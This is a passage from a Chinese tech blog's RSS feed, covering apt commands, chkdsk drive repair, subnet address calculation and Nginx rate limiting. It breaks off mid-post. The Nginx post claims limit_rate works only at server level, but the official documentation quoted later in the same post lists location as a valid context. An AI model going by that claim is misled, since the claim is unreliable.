				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=586</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aptminglingdeyongfa.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Apt命令 作用 apt-cache search package 搜索包 apt-cache show package 获取包的相关信息，如说明、大小、版本等 sudo apt-get install package 安装包 sudo apt-get install package – &#8211; reinstall 重新安装包 sudo apt-get -f install 强制安装 sudo apt-get remove package 删除包 sudo apt-get remove package – &#8211; purge 删除包，包括删除配置文件等 sudo apt-get autoremove 自动删除不需要的包 sudo apt-get update 更新源 sudo apt-get upgrade 更新已安装的包 sudo apt-get [...]]]></description>
			<content:encoded><![CDATA[<p>Apt命令 作用</p>
<p>apt-<a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a> search package 搜索包</p>
<p>apt-cache show package 获取包的相关信息，如说明、大小、版本等 sudo apt-get install package 安装包</p>
<p>sudo apt-get install package – &#8211; reinstall 重新安装包</p>
<p>sudo apt-get -f install 强制安装</p>
<p>sudo apt-get remove package 删除包</p>
<p>sudo apt-get remove package – &#8211; purge 删除包，包括删除配置文件等 sudo apt-get autoremove 自动删除不需要的包</p>
<p>sudo apt-get update 更新源</p>
<p>sudo apt-get upgrade 更新已安装的包</p>
<p>sudo apt-get dist-upgrade 升级系统</p>
<p>sudo apt-get dselect-upgrade 使用 dselect 升级</p>
<p>apt-cache depends package 了解使用依赖</p>
<p>apt-cache rdepends package 了解某个具体的依赖</p>
<p>sudo apt-get build-dep package 安装相关的编译环境</p>
<p>apt-get source package 下载该包的源代码</p>
<p>sudo apt-get clean &amp;&amp; sudo apt-get autoclean 清理下载文件的存档 sudo apt-get check 检查是否有损坏的依赖</p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2006年07月18日 -- <a href="http://www.5bay.cn/network-programming/asp/asp%E8%8E%B7%E5%8F%96%E7%BD%91%E9%A1%B5url%E4%BB%A3%E7%A0%81.html" title="ASP 获取网页URL代码">ASP 获取网页URL代码</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2006年04月2日 -- <a href="http://www.5bay.cn/me/%E4%B9%85%E8%BF%9D%E7%9A%84%E9%83%A8%E8%90%BD%E6%A0%BC%7E.html" title="久违的部落格~">久违的部落格~</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E8%B0%83%E6%95%B4%7E.html" title="游戏数值调整~">游戏数值调整~</a> (0)</li><li>2011年12月16日 -- <a href="http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html" title="404错误的处理方式及对SEO的影响">404错误的处理方式及对SEO的影响</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%B8%AA%E5%A5%BD%E7%94%A8%E7%9A%84%E5%88%86%E9%A1%B5%E5%87%BD%E6%95%B0.html" title="一个好用的分页函数">一个好用的分页函数</a> (0)</li><li>2006年08月25日 -- <a href="http://www.5bay.cn/network-programming/asp/session%E5%AF%B9%E8%B1%A1%E5%A4%B1%E6%95%88%E7%9A%84%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95.html" title="Session对象失效的客户端解决方法">Session对象失效的客户端解决方法</a> (0)</li><li>2006年07月20日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%5B%E8%BD%AC%5D%E4%BE%A7%E6%A0%8F%E7%9B%B8%E5%86%8C%E5%9B%BE%E7%89%87%E5%8F%98%E6%8D%A2%E4%BB%A3%E7%A0%81.html" title="[转]侧栏相册图片变换代码">[转]侧栏相册图片变换代码</a> (0)</li><li>2006年02月25日 -- <a href="http://www.5bay.cn/media/%E3%80%8A%E6%88%91%E4%B8%8D%E6%83%B3%E8%AF%B4%E6%88%91%E6%98%AF%E9%B8%A1%E3%80%8B.html" title="《我不想说我是鸡》">《我不想说我是鸡》</a> (0)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/asp/%E5%B7%A7%E7%94%A8asp%E7%94%9F%E6%88%90pdf%E6%96%87%E4%BB%B6.html" title="巧用ASP生成PDF文件">巧用ASP生成PDF文件</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeregisterglobals.html" title="PHP安全之Register Globals ">PHP安全之Register Globals </a> (0)</li><li>2007年02月10日 -- <a href="http://www.5bay.cn/network-programming/asp/%E5%A4%9A%E5%85%B3%E9%94%AE%E5%AD%97%E5%A4%9A%E6%9D%A1%E4%BB%B6%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AE%9E%E4%BE%8B.html" title="多关键字多条件查询的实例">多关键字多条件查询的实例</a> (1)</li><li>2006年11月20日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/javascript%E5%B8%B8%E7%94%A8%E6%A3%80%E6%B5%8B%E8%84%9A%E6%9C%AC.html" title="JavaScript常用检测脚本">JavaScript常用检测脚本</a> (0)</li><li>2006年12月11日 -- <a href="http://www.5bay.cn/network-programming/php/phpweb%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%EF%BC%9A%E4%BD%BF%E7%94%A8%E6%A8%A1%E6%9D%BF.html" title="PHP-Web 应用程序开发：使用模板">PHP-Web 应用程序开发：使用模板</a> (0)</li><li>2007年02月8日 -- <a href="http://www.5bay.cn/swallows-a-small-novel/%E5%B9%B8%E7%A6%8F%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F.html" title="幸福是什么？&#8230;&#8230;&#8230;">幸福是什么？&#8230;&#8230;&#8230;</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aptminglingdeyongfa.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>修复移动硬盘”文件或目录损坏且无法读取”</title>
		<link>http://www.5bay.cn/server-building/xiufuyidongyingpanwenjianhuomulusunhuaiqiewufaduqu.html</link>
		<comments>http://www.5bay.cn/server-building/xiufuyidongyingpanwenjianhuomulusunhuaiqiewufaduqu.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 08:50:36 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=584</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/xiufuyidongyingpanwenjianhuomulusunhuaiqiewufaduqu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>修复移动硬盘”文件或目录损坏且无法读取” 今天在电脑上发现移动硬盘打不开了，甚是着急，后来上网一查才知道，似乎是什么文件索引错了，就在dos下（windows xp 命令行）输入chkdsk H: /x （H为移动硬盘盘符），等了一会就好了． 附： 1、MBR(Main Boot Record)：主引导记录 2、CHKDSK [volume[[path]filename]]] [/F] [/V] [/R] [/X] [/I] [/C] [/L[:size]] volume 指定驱动器(后面跟一个冒号)、装入点或卷名。 filename? 仅用于 FAT/FAT32: 指定要检查是否有碎片的文件 /F? 修复磁盘上的错误。 /V　 在 FAT/FAT32 上: 显示磁盘上每个文件的完整路径和名称。 在 NTFS 上: 如果有清除消息，将其显示。 /R? 查找不正确的扇区并恢复可读信息(隐含 /F)。 /L:size 仅用于 NTFS:? 将日志文件大小改成指定的 KB 数。 如果没有指定大小，则显示当前的大小。 /X?? 如果必要，强制卷先卸下。 卷的所有打开的句柄就会无效(隐含 /F) /I 仅用于 NTFS: 对索引项进行强度较小的检查 [...]]]></description>
			<content:encoded><![CDATA[<p>修复移动硬盘”文件或目录损坏且无法读取”</p>
<div>今天在电脑上发现移动硬盘打不开了，甚是着急，后来上网一查才知道，似乎是什么文件索引错了，就在dos下（windows xp 命令行）输入chkdsk H: /x （H为移动硬盘盘符），等了一会就好了．<br />
附：<br />
1、MBR(Main Boot Record)：主引导记录<br />
2、CHKDSK [volume[[<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">path</a>]filename]]] [/F] [/V] [/R] [/X] [/I] [/C] [/L[:size]]<br />
volume 指定驱动器(后面跟一个冒号)、装入点或卷名。<br />
filename? 仅用于 FAT/FAT32: 指定要检查是否有碎片的文件<br />
/F? 修复磁盘上的错误。<br />
/V　 在 FAT/FAT32 上: 显示磁盘上每个文件的完整路径和名称。<br />
在 NTFS 上: 如果有清除消息，将其显示。<br />
/R? 查找不正确的扇区并恢复可读信息(隐含 /F)。<br />
/L:size 仅用于 NTFS:? 将日志文件大小改成指定的 KB 数。<br />
如果没有指定大小，则显示当前的大小。<br />
/X?? 如果必要，强制卷先卸下。<br />
卷的所有打开的句柄就会无效(隐含 /F)<br />
/I 仅用于 NTFS: 对索引项进行强度较小的检查<br />
/C?? 仅用于 NTFS: 跳过文件夹结构的循环检查。<br />
/I 和 /C 命令行开关跳过卷的某些检查，减少运行 Chkdsk 所需的时间。</div>
<blockquote>
<div></div>
<div>操作过程系统提示</div>
<div>C:\Documents and Settings\Administrator&gt;chkdsk m: /x<br />
文件系统的类型是 NTFS。<br />
卷标是 新加卷。</div>
<div>CHKDSK 正在校验文件(3 的阶段 1)&#8230;<br />
文件校验完成。00。<br />
CHKDSK 正在校验索引(3 的阶段 2)&#8230;<br />
修正文件 5 索引 $I30 中的错误。<br />
修正文件 5 索引 $I30 中的错误。<br />
为文件 5 中的索引 $I30 排序。<br />
修正文件 27456 索引 $I30 中的错误。<br />
修正文件 27456 索引 $I30 中的错误。<br />
为文件 27456 中的索引 $I30 排序。<br />
索引校验完成。00。<br />
CHKDSK 正在恢复丢失的文件。</div>
<div>恢复孤立文件 IMG_19~2.JPG (27487) 到目录文件 2745<br />
恢复孤立文件 IMG_196400.jpg (27487) 到目录文件 27<br />
恢复孤立文件 IMG_19~3.JPG (27488) 到目录文件 2745<br />
恢复孤立文件 IMG_198200.jpg (27488) 到目录文件 27<br />
恢复孤立文件 Thumbs.db (27490) 到目录文件 27456。<br />
恢复孤立文件 UFDATA.MD_ (27491) 到目录文件 27456。<br />
恢复孤立文件 UfErpInf.md_ (27492) 到目录文件 2745<br />
恢复孤立文件 UfErpYer.Lst (27493) 到目录文件 2745<br />
恢复孤立文件 yi1.bmp (27494) 到目录文件 27456。<br />
恢复孤立文件 yi2.bmp (27495) 到目录文件 27456。<br />
恢复孤立文件 _desktop.ini (27496) 到目录文件 2745<br />
CHKDSK 正在校验安全描述符(3 的阶段 3)&#8230;<br />
安全描述符校验完成。<br />
正在修复主控文件表(MFT)镜像的错误。<br />
修正大写文件的错误。<br />
正在修复主控文件表(MFT)位图属性的错误。<br />
正在修复卷位图的错误。<br />
Windows 已更正文件系统。</div>
<div>总共有  156287999 KB 磁盘空间。<br />
27650 个文件中有    9475792 KB。<br />
1872 个索引       6928 KB。<br />
不正确扇区          0 KB。<br />
系统正在使用     106071 KB。<br />
日志文件占用了      65536 KB。<br />
磁盘上  146699208 KB 可用。</div>
<div>每个分配单元中有       4096 字节。<br />
磁盘上共有   39071999 个分配单元。<br />
磁盘上有   36674802 个可用的分配单元。</div>
</blockquote>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/phpini%E4%B8%AD%E6%96%87%E7%89%88.html" title="php.ini 中文版">php.ini 中文版</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2011年12月16日 -- <a href="http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html" title="404错误的处理方式及对SEO的影响">404错误的处理方式及对SEO的影响</a> (0)</li><li>2006年03月22日 -- <a href="http://www.5bay.cn/me/%E8%AF%81%E6%98%8E%EF%BC%9A%E5%A6%82%E4%BD%95%E6%89%8D%E6%98%AF%E5%A4%A7%E5%AD%A6%E7%94%9F.html" title="证明：如何才是大学生">证明：如何才是大学生</a> (0)</li><li>2006年02月19日 -- <a href="http://www.5bay.cn/me/%e7%97%85%e6%83%85%e5%8a%a0%e9%87%8d.html" title="病情加重~">病情加重~</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2006年10月26日 -- <a href="http://www.5bay.cn/website/web30%E7%9A%84%E6%80%9D%E8%80%83.html" title="web 3.0 的思考">web 3.0 的思考</a> (0)</li><li>2007年03月21日 -- <a href="http://www.5bay.cn/server-building/%E8%A7%A3%E5%86%B3%E7%BD%91%E7%AB%99%E5%A4%A7%E6%B5%81%E9%87%8F%E9%97%AE%E9%A2%98%E7%9A%84%E7%AD%96%E7%95%A5.html" title="解决网站大流量问题的策略">解决网站大流量问题的策略</a> (0)</li><li>2008年07月31日 -- <a href="http://www.5bay.cn/me/%e5%8f%91%e4%b8%aaphpok%e5%a5%a5%e8%bf%90%e6%a8%a1%e6%9d%bf.html" title="发个phpok奥运模板">发个phpok奥运模板</a> (2)</li><li>2007年08月17日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E5%85%B3%E4%BA%8Ecookie%E4%B8%AD%E7%9A%84path%E5%92%8Cdomain.html" title="关于Cookie中的Path和domain">关于Cookie中的Path和domain</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidpingmufenbianlvxiangjievgahvgaqvgawvgawqvga.html" title="Android屏幕分辨率详解（VGA、HVGA、QVGA、WVGA、WQVGA）">Android屏幕分辨率详解（VGA、HVGA、QVGA、WVGA、WQVGA）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeuestee.html" title="通过注册表彻底删除guest等账户">通过注册表彻底删除guest等账户</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质">游戏数值公式的表象与本质</a> (0)</li><li>2006年07月19日 -- <a href="http://www.5bay.cn/server-building/mysql40%E7%89%88%E6%9C%AC%E5%8D%87%E7%BA%A7%E8%87%B341%E4%B8%AD%E7%9A%84bug.html" title="Mysql4.0版本升级至4.1中的BUG">Mysql4.0版本升级至4.1中的BUG</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpv5-3eeeeee-2.html" title="PHP V5.3 中的新特性: 名称空间(二)">PHP V5.3 中的新特性: 名称空间(二)</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/xiufuyidongyingpanwenjianhuomulusunhuaiqiewufaduqu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>彻底明白IP地址——计算相关地址</title>
		<link>http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html</link>
		<comments>http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html#comments</comments>
		<pubDate>Wed, 29 Jun 2011 05:56:23 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[div]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=574</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html"><img align="left" hspace="5" width="150" src="http://img1.51cto.com/attachment/201009/233340170.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>知道ip地址和子网掩码后可以算出： 1、 网络地址 2、 广播地址 3、 地址范围 4、 本网有几台主机 例1：下面例子IP地址为192·168·100·5 子网掩码是255·255·255·0。算出网络地址、广播地址、地址范围、主机数。 一）分步骤计算 1） 将IP地址和子网掩码换算为二进制，子网掩码连续全1的是网络地址，后面的是主机地址。 虚线前为网络地址，虚线后为主机地址。 2）IP地址和子网掩码进行与运算，结果是网络地址： 3） 将上面的网络地址中的网络地址部分不变，主机地址变为全1，结果就是广播地址。 4） 地址范围就是含在本网段内的所有主机 网络地址+1即为第一个主机地址，广播地址-1即为最后一个主机地址，由此可以看出 地址范围是： 网络地址+1 至 广播地址-1 本例的网络范围是：192·168·100·1 至 192·168·100·254 也就是说下面的地址都是一个网段的。 192·168·100·1、192·168·100·2 。。。 192·168·100·20 。。。 192·168·100·111 。。。 192·168·100·254 5） 主机的数量 主机的数量=2二进制的主机位数-2 减2是因为主机不包括网络地址和广播地址。本例二进制的主机位数是8位。 主机的数量=28-2=254 二）总体计算 我们把上边的例子合起来计算一下过程如下： 例2： IP地址为128·36·199·3 子网掩码是255·255·240·0。算出网络地址、广播地址、地址范围、主机数。 1） 将IP地址和子网掩码换算为二进制，子网掩码连续全1的是网络地址，后面的是主机地址， 虚线前为网络地址，虚线后为主机地址。 2）IP地址和子网掩码进行与运算，结果是网络地址 3）将运算结果中的网络地址不变，主机地址变为1，结果就是广播地址。 4） 地址范围就是含在本网段内的所有主机 网络地址+1即为第一个主机地址，广播地址-1即为最后一个主机地址，由此可以看出 地址范围是： [...]]]></description>
			<content:encoded><![CDATA[<div>知道ip地址和子网掩码后可以算出：</div>
<div>1、 网络地址</div>
<div>2、 广播地址</div>
<div>3、 地址范围</div>
<div>4、 本网有几台主机</div>
<div>例1：下面例子IP地址为192·168·100·5 子网掩码是255·255·255·0。算出网络地址、广播地址、地址范围、主机数。<span id="more-574"></span></div>
<div><strong>一）分步骤计算</strong></div>
<div>1） 将IP地址和子网掩码换算为二进制，子网掩码连续全1的是网络地址，后面的是主机地址。 虚线前为网络地址，虚线后为主机地址。</div>
<p><img src="http://img1.51cto.com/attachment/201009/233340170.jpg" border="0" alt="" /></p>
<div>2）IP地址和子网掩码进行与运算，结果是网络地址：</div>
<p><img src="http://img1.51cto.com/attachment/201009/233448300.jpg" border="0" alt="" /></p>
<div>3） 将上面的网络地址中的网络地址部分不变，主机地址变为全1，结果就是广播地址。</div>
<p><img src="http://img1.51cto.com/attachment/201009/233531113.jpg" border="0" alt="" /></p>
<div>4） 地址范围就是含在本网段内的所有主机</div>
<div>网络地址+1即为第一个主机地址，广播地址-1即为最后一个主机地址，由此可以看出</div>
<div>地址范围是： 网络地址+1 至 广播地址-1</div>
<div>本例的网络范围是：192·168·100·1 至 192·168·100·254</div>
<div>也就是说下面的地址都是一个网段的。</div>
<div>192·168·100·1、192·168·100·2 。。。 192·168·100·20 。。。 192·168·100·111 。。。 192·168·100·254</div>
<div>5） 主机的数量</div>
<div>主机的数量=2<sup>二进制的主机位数</sup>-2</div>
<div>减2是因为主机不包括网络地址和广播地址。本例二进制的主机位数是8位。</div>
<div>主机的数量=2<sup>8</sup>-2=254</div>
<div><strong>二）总体计算</strong></div>
<div>我们把上边的例子合起来计算一下过程如下：</div>
<p><img src="http://img1.51cto.com/attachment/201009/233950315.jpg" border="0" alt="" /></p>
<div>例2： IP地址为128·36·199·3 子网掩码是255·255·240·0。算出网络地址、广播地址、地址范围、主机数。</div>
<div>1） 将IP地址和子网掩码换算为二进制，子网掩码连续全1的是网络地址，后面的是主机地址， 虚线前为网络地址，虚线后为主机地址。</div>
<p><img src="http://img1.51cto.com/attachment/201009/234036531.jpg" border="0" alt="" /></p>
<div>2）IP地址和子网掩码进行与运算，结果是网络地址</div>
<p><img src="http://img1.51cto.com/attachment/201009/234153988.jpg" border="0" alt="" /></p>
<div>3）将运算结果中的网络地址不变，主机地址变为1，结果就是广播地址。</div>
<p><img src="http://img1.51cto.com/attachment/201009/234421835.jpg" border="0" alt="" /></p>
<div>4） 地址范围就是含在本网段内的所有主机</div>
<div>网络地址+1即为第一个主机地址，广播地址-1即为最后一个主机地址，由此可以看出</div>
<div>地址范围是： 网络地址+1 至 广播地址-1</div>
<div>本例的网络范围是：128·36·192·1 至 128·36·207·254</div>
<div>5） 主机的数量</div>
<div>主机的数量=2<sup>二进制位数的主机</sup>-2</div>
<div>主机的数量=2<sup>12</sup>-2=4094</div>
<div>减2是因为主机不包括网络地址和广播地址。</div>
<div>*********************</div>
<div>从上面两个例子可以看出不管子网掩码是标准的还是特殊的，计算网络地址、广播地址、地址数时只要把地址换算成二进制，然后从子网掩码处分清楚连续1以前的是网络地址，后是主机地址进行相应计算即可。</div>
<p>&nbsp;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/innerhtmleenertexteeterhtmlqia.html" title="innerHTML、innerText和outerHTML的用法">innerHTML、innerText和outerHTML的用法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/jsshixianquanjingtuxiaoguo360duxuanzhuan.html" title="JS实现全景图效果360度旋转">JS实现全景图效果360度旋转</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/5%E6%AC%BE%E7%BA%AFdivcss%E5%88%B6%E4%BD%9C%E7%9A%84%E5%BC%B9%E5%87%BA%E8%8F%9C%E5%8D%95%E6%A0%87%E5%87%86%E4%B8%94%E6%97%A0js.html" title="5款纯div+css制作的弹出菜单(标准且无js) ">5款纯div+css制作的弹出菜单(标准且无js) </a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx限速</title>
		<link>http://www.5bay.cn/server-building/nginxxiansu.html</link>
		<comments>http://www.5bay.cn/server-building/nginxxiansu.html#comments</comments>
		<pubDate>Tue, 17 Aug 2010 15:56:15 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=531</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxxiansu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度： 配置如下 http { limit_zone   one $binary_remote_addr 10m; server{ &#8230;.. location /attachments/ { limit_conn   one 1; limit_rate 100k; } } } 在万般无奈下，找到这样句话“如果把limti_rate直接放在server{}中，而不是location中，确实能实现限速，但我只想限制附件下载的速度，请问大大该怎么搞？” 原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下： server { listen       80; server_name www.5bay.cn; index index.html index.htm index.php; root /project/trunk; location ~ .*\.(php&#124;php5)?$ { #fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fcgi.conf; } } server { listen       80; server_name www.5bay.cn; [...]]]></description>
			<content:encoded><![CDATA[<p>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度：<span style="color: #666666;"> 配置如下</span></p>
<p><span style="color: #999999;">http {<br />
limit_zone   one $binary_remote_addr 10m; </span></p>
<p><span style="color: #999999;"><a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>{ &#8230;..</span></p>
<p><span style="color: #999999;">location /attachments/ {<br />
limit_conn   one 1;<br />
limit_rate 100k;<br />
}<br />
}</span></p>
<p><span style="color: #999999;">}</span></p>
<p>在万般无奈下，找到这样句话“如果把<span style="color: #ff0000;">limti_rate</span><span style="color: #ff0000;">直接放在server{}中，而不是location中，确实能实现限速</span>，但我只想限制附件下载的速度，请问大大该怎么搞？”<span id="more-531"></span></p>
<p>原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下：</p>
<p>server<br />
{<br />
listen       80;<br />
server_name www.5bay.cn;<br />
index index.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a> index.htm index.php;<br />
root /project/trunk;<br />
location ~ .*\.(php|<a href="http://www.5bay.cn/tag/php5" class="st_tag internal_tag" rel="tag" title="标签 php5 下的日志">php5</a>)?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
<a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a> fcgi.conf;<br />
}<br />
}</p>
<p>server<br />
{<br />
listen       80;<br />
server_name <a href="http://www.example2.com/">www.5bay.cn</a>;<br />
index index.html index.htm;<br />
root /project/trunk;</p>
<p>limit_conn one 1;<br />
limit_rate 1k;         #打开图片好慢啊~~<br />
#limit_conn   crawler 20;<br />
location ~* .*\.php$ {<br />
rewrite .* 404 break;<br />
}</p>
<p>if ($uri !~* /uploads/)<br />
{<br />
rewrite .* 404 break;<br />
}<br />
}</p>
<p>以上环境在Centos5.3中设置</p>
<p>==============================================================</p>
<p>2010.01.31 环境：Windows xp + Cygwin + Nginx + PHPFastCGI</p>
<p>这一段是Nginx官方的文档：<a href="http://wiki.nginx.org/NginxHttpCoreModule#limit_rate">http://wiki.nginx.org/NginxHttpCoreModule#limit_rate</a></p>
<p><span>limit_rate </span></p>
<p><span><strong>syntax:</strong> <em>limit_rate speed</em> </span></p>
<p><span><strong>default:</strong> <em>no</em> </span></p>
<p><span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>Directive assigns the speed of transmission of the answer to client. Speed is assigned in the bytes per second. Limitation works only for one connection, i.e., if client opens 2 connections, then total velocity will be 2 times higher then the limit set. </span></p>
<p><span>If it is necessary to limit speed for the part of the clients at the <em>server</em> level, based on some kind of condition &#8211; then this directive does not apply. Instead you should specify the limit by assigning the value to the $limit_rate variable, as shown below: </span></p>
<pre><a href="http://wiki.nginx.org/NginxHttpCoreModule#server"><span>server</span></a><span> {
  </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#if"><span>if</span></a><span> ($slow) {
